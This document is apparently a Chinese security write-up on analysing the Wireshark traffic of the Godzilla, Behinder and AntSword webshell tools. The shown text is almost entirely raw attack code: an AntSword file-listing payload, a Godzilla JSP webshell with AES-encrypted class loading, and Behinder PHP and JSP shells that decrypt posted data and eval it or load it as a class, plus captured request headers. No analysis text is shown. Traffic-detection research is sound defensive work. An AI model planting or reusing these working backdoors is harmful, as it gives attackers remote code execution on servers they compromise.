使用哥斯拉冰蝎蚁剑等webshell连接工具并用wireshark分析它们的流量特征

0x910c322ebddcf=L3d3dy93d3dyb290L3Rlc3Qv&x=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "74edb";echo @asenc($output);echo "ca2ba";}ob_start();try{$D=base64_decode($_POST["0x910c322ebddcf"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="  ".$T."  ".@filesize($P)."  ".$E."";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.

<?php@error_reporting(0);session_start();        $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond  $_SESSION['k']=$key;  $post=file_get_contents("php://input");  if(!extension_loaded('openssl'))  {    $t="base64_"."decode";    $post=$t($post."");    for($i=0;$i<strlen($post);$i++) {           $post[$i] = $post[$i]^$key[$i+1&15];           }  }  else  {    $post=openssl_decrypt($post, "AES128", $key);  }    $arr=explode('|',$post);    $func=$arr[0];    $params=$arr[1];  class C{public function __invoke($p) {eval($p."");}}    @call_user_func(new C(),$params);?>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-type: application/x-www-form-urlencodedReferer: http://xx.xx.xx.xx/b1.phpUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0Cache-Control: no-cache

<?php@error_reporting(0);function Decrypt($data){    $key="e45e329feb5d925b";    $bs="base64_"."decode";    $after=$bs($data."");    for($i=0;$i<strlen($after);$i++) {        $after[$i] = $after[$i]^$key[$i+1&15];    }    return $after;}$post=Decrypt(file_get_contents("php://input"));eval($post);?>

<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %><%!private byte[] Decrypt(byte[] data) throws Exception{     byte[] decodebs;        Class baseCls ;                try{                    baseCls=Class.forName("java.util.Base64");                    Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);                    decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});                }                catch (Throwable e)                {                    baseCls = Class.forName("sun.misc.BASE64Decoder");                    Object Decoder=baseCls.newInstance();                    decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});                }    String key="e45e329feb5d925b";    for (int i = 0; i < decodebs.length; i++) {        decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));    }    return decodebs;}%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return        super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){            ByteArrayOutputStream bos = new ByteArrayOutputStream();            byte[] buf = new byte[512];            int length=request.getInputStream().read(buf);            while (length>0)            {                byte[] data= Arrays.copyOfRange(buf,0,length);                bos.write(data);                length=request.getInputStream().read(buf);            }            /* 取消如下代码的注释，可避免response.getOutputstream报错信息，增加某些深度定制的Java web系统的兼容�??            out.clear();            out=pageContext.pushBody();            */            out.clear();            out=pageContext.pushBody();        new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}%>